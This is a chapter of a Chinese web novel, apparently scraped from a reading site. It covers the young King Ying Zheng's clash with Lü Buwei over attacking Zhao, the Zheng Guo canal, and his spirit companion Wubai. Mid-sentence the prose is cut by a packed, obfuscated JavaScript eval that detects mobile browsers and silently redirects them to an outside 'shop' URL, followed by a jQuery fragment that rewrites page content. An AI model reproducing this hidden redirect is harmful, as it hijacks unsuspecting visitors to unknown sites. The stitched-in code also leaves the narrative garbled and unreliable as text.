默认冷灰
24号文字
方正启体

15. 君心难测

作者:雅宝得福本书字数:K更新时间:
    这秋天的梨子才刚刚吃上没两天,秦国就向韩国出兵了。


    秦人记仇,去年秦国被五国围攻,被迫退守函谷关,让先王子楚含恨而终,今年秦国稍微缓过来后朝中就又提起了出兵之事。


    选来选去,秦国决定攻打离自己最近的韩国。韩国弱小,无力抗秦,秦军很快地占领了韩国北上的大部分土地。


    呜呼哀哉,韩国眼看亡国就在眼前,赶忙聚集朝臣,商量起了救国之计。


    韩庭众臣头发都愁白了,终于便想出了一条疲秦之计,让他们国家的水工到秦国去修渠。


    此举表面上是示好,实际上是想耗费秦国的国力,以使秦能暂时停止对外扩张的脚步。


    很快的韩国的修渠人——“郑国”就到了秦国,他言语诚恳地列举了修渠后能给秦国带来的诸多好处,却丝毫不提此举所要消耗的国力,以及要等多少年后才能见到成果。


    秦国众臣又不是傻子,一眼就看穿了韩国的计谋,不过修渠虽然消耗国力,且一时看不到成效,但从长远来看,如果修渠得当,可引水灌田,使关中为沃土,粮食丰收,百利无一害。


    关于到底要不要修渠,秦庭上的朝臣还是有所争执。最后吕不韦和嬴政对视了一眼,将此事敲定了。


    秦国得修渠!


    有人站出去劝嬴政三思,就算修渠有益,可这郑国这个韩国人又可否值得信任呢?万一他不用心做事,白白消耗了秦国的物力钱财又怎么办呢?


    此话一出,一些心眼多的人赶忙偷偷去看吕不韦。因为邦大人也是个异国人,如今却在秦国做事,不知他听了此话是否会生气。


    吕不韦皱起了眉,但他不是生气,而是也认可人心难测这个事实,开始琢磨要如何防止郑国不用心修渠。


    嬴政用眼角的余光看了看吕不韦,见他似在思考,便又看向了此刻站在大殿上,正因秦人的质疑而有些惶然的郑国。


    年少的君主掷地有声地说:“秦国纳贤不分国别,先生既有修渠之能就不该在秦国埋没。先生,请为我秦国修渠吧,若修渠事成,先生必将名留秦史。”


    反正这个渠是一定要修的,至于如何防止郑国使坏他后面再想办法吧,于是吕不韦听完嬴政的话后就转身向他行礼,高呼:“王上圣明。”


    散朝后吕不韦就把郑国邀请到了自己的府上,跟他商量起了具体的修渠事宜,觉得计划可行后就把他介绍给了同样善于治水的郡守李冰,让他们二人一同治水挖渠,务必要把关中变成沃土。


    转眼年末了,咸阳城下雪了。


    吕不韦收到了一封密报,写着赵王病危。


    那一天吕不韦让人温了一壶酒,独自站在院中,朝着异人长眠之地的方向敬了三樽酒。


    而后他着朝服进宫,向嬴政汇报此事,想与他谈谈年后攻打赵国之事。


    嬴政年少,朝政之事大多是他一手包揽,不过即使这样他还是会经常去问问嬴政对某些事的看法,以示自己对秦王的尊重。


    而嬴政一般也会在吕不韦询问他的意见时,表示自己没有什么异议,一切任由相邦做主。


    但今天不一样,嬴政拒绝了吕不韦攻赵的提议。


    乌桐宫里议事的偏殿里,只有君臣二人,以及吕不韦看不见的雾白。嬴政的拒绝让吕不韦愣住了,一时之间竟有些茫然。


    嬴政坐在长案前,抬头看着一时失语的吕不韦,漆黑的眼眸里暗藏锋芒,心里有些反叛成功的快意。


    “仲父,寡人认为攻赵不妥。”嬴政又一次重申了自己的看法。


    “为何不妥?”吕不韦问。


    嬴政不慌不急地说:“仲父,秦国目前还未完全恢复元气,而六国之中,赵国仍算强国,我们即使发兵攻打他们,也不能一举灭国,反而会刺激他们团结起来,全力反扑我们。到时候灭不了赵国不说,万一又来一次五国攻秦,我们又能如何应对呢?在我看来,明年攻赵国并非明智之举。”


    吕不韦向前走了一步,忙说:“依臣之见,上次的联盟就是五国最后的辉煌了。上一次秦国确实败了,但五国同样元气大伤,即使再有能人聚集五国兵力攻秦,也不过是群残兵败将罢了。明年趁赵国王权更替时出兵,是我们很好的机会。”


    嬴政不为所动,说:“仲父,寡人知道赵国是秦国的劲敌,但我们的目标是统一天下啊。依寡人看,要想统一天下,我们先得取韩!”


    吕不韦反驳,说:“韩国弱小,且无明君强将,对秦威胁不大啊,后面大局已定时,再取韩也不迟啊。”


    嬴政语气强硬地说:“可它并没有臣服秦国,即使再弱小也是拦在我们东出道路上的石头!”


    吕不韦定了定心神,看着眼前这个目光如炬,掷地有声的少年秦王。良久,他妥协了,后退了两步,行礼离去。


    走出殿外,他看见了候在那里的李斯。


    现在已是年末,天越发冷了,李斯穿着比以往更加厚实的深色冬衣,脸上依旧是那副和善的微笑,见他出来了,远远地就开始低头弯腰,朝着他行礼了,看着倒还十分恭顺。


    吕不韦路过他时意味深长地看了他一眼,却也没有说什么别的话。


    李斯仍是不抬头,只在吕不韦路过他时恭敬地说:“恭送相邦。”


    吕不韦头也没回得走了。


    嬴政长大了,有自己的主意了,他又能怎么样呢?他只能叹口气,继续守着,护着,惟愿他能成就千秋伟业,平安长寿。


    吕不韦走后,雾白看着他离去的背影说:“嬴政,吕不韦似乎有些伤心啊。”


    嬴政的好心情一下子少了一半,语气不快地说:“他为什么伤心?难道我就应该永远地听从他的吗?我才是秦国的王,他只是个臣!而且我又不是随便说的那些话,我是认真想过了才决定的!”


    雾白无所谓地笑了笑,说:“我当然知道你不是胡乱说的,不然吕不韦也不会轻易妥协。我只是看惯了他神气的样子,偶尔见他这般失意有些不习惯罢了。”


    嬴政有些生气雾白对吕不韦所流露的善意,于是不再跟雾白说话,摆好学习用的竹简,让人将李斯请了进来。


    雾白为了不打扰嬴政的学习,就安静地守在他身边,也不再言语。


    李斯感觉到了嬴政的不悦,规规矩矩,简洁利落地讲完了今天该讲的内容,然后麻利地收拾好东西走了。


    李斯走后,嬴政已平复好了心情,酝酿了下后再看向雾白,有些委屈地说:“雾白,我不是故意要跟你生气,我只是不希望你站在吕不韦那边。因为……因为我把你当朋友,朋友应该互相支持。”


    雾白还是那样温柔地看着他,似乎并未将先前的事放在心上,说:“嬴政,我知道你的难处,明白你的困境,所以你不必解释。”


    她理解他的不容易,知道相对弱势的他,在面对吕不韦那样的权臣时,难免会心生猜疑,甚至恐惧。


    猜疑和恐惧会滋生心病。


    而嬴政作为一个有远大志向的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033665|194602||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    王,怎甘心受人掣肘?目前的局势让他被迫蛰伏,可终有一天等他长出自己的羽翼,他是要除了这心病的。


    “雾白。”嬴政见她没有在意先前事不禁暗中松了口气,随后站起身,拿起挂在架子上的黑色狐皮大氅穿上,笑着说:“我知道你喜欢雪,我跟你一起去外面看看雪吧。”


    “好。”雾白知道嬴政怕冷,现在说要去看雪不过是他在跟她示好呢。


    这种时候她可不能拒绝,不然他肯定会觉得她还在介意先前的事。


    人是脆弱的,身体容易受伤,心也是。


    而她想好好保护嬴政,包括他的心。


    嬴政带着雾白一起站在宫里最高的楼阁之上赏雪,心里充满了对来年的期待。


    有了雾白的陪伴,他觉得这一年年的,都是有盼头的。未来漫长的岁月,他终究也不是一个人了。


    秦王政二年,在梨花开得正好的季节,秦军与魏军起了战事。


    此战更多的是秦国对魏国的一种震慑,很快就以秦军的胜利结束了。


    在梨树结出青果时,赵□□薨,其子赵偃即位。


    然而这个新王上任后做得第一件事就是解除老将廉颇的军职,将正在攻魏的他召回,派自己信任的乐乘将军取代他继续攻魏。


    廉颇是忠勇过人的大将军,一生打了很多胜仗,却不懂那朝政之间的勾心斗角,所以当他面对新王的排挤时,根本想不明白自己做错了什么。


    因为想不通也气不过,他跑去教训了来取代自己的乐乘将军,将其打得狼狈出逃。


    最后他这气是出了,但也是彻底得罪了新王,被迫逃到了魏国避祸。


    当这个消息传到秦国时,秦国的朝野一片欢呼。廉颇是一只守卫赵国的猛虎,即使年老,但猛虎依旧是猛虎,谁攻打赵国都要忌惮两分,但现在好了,赵王亲手驱逐了这只猛虎。


    但也有几位年长的武将在暗中为之叹息,并自然而然的想起了一位故人,当年被王赐死的大将军白起。


    那位神一般的将军为秦国打了一辈子仗,大小战役七十余次,不曾有过败绩,名震天下,为秦国做出了巨大贡献,但他最后被他的王赐死了。


    有时候想想,他还不如死在战场上,起码这样就不会出现后面的君臣离心,臣无罪而死的惨剧了,这样君臣就皆有了贤名,不至于让后人这般唏嘘感叹。


    夜幕深沉,乌桐宫里灯火摇曳,嬴政摒退宫人,安静地看着由暗桩收集起来的别国要事。


    雾白本来正懒洋洋地趴在一缕雾气上休息,偏着头看他,发现他的侧脸在烛火的映照下越发坚毅立体了,早已没有了年少的稚气。


    原来他在不知不觉间已长大了这么多啊。


    也不知嬴政是看到了什么,沉思了一会儿后又站起了身,拿起一个细长木杆,在一旁练字的沙盘里写出了一个名字。


    “李牧。”雾白认出了这个名字,脑子里也想起了这么一个人。


    李牧昨年出使秦国,来谈归还赵国质子的事,她与嬴政在秦庭上见过他。


    嬴政有些发愁地说:“赵国没了廉颇又如何,他们还有别的将军,比如这个李牧。将来攻赵,他或许将是我们秦军的大敌。”


    雾白在一旁点了点头,没有说话。


    嬴政早就习惯了雾白在他讨论政事时的沉默,也不在意,感慨完后又回身坐下,继续看那些堆积着的竹简。


    而雾白则在一旁用柔和的目光地看着他,安静地陪着他。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)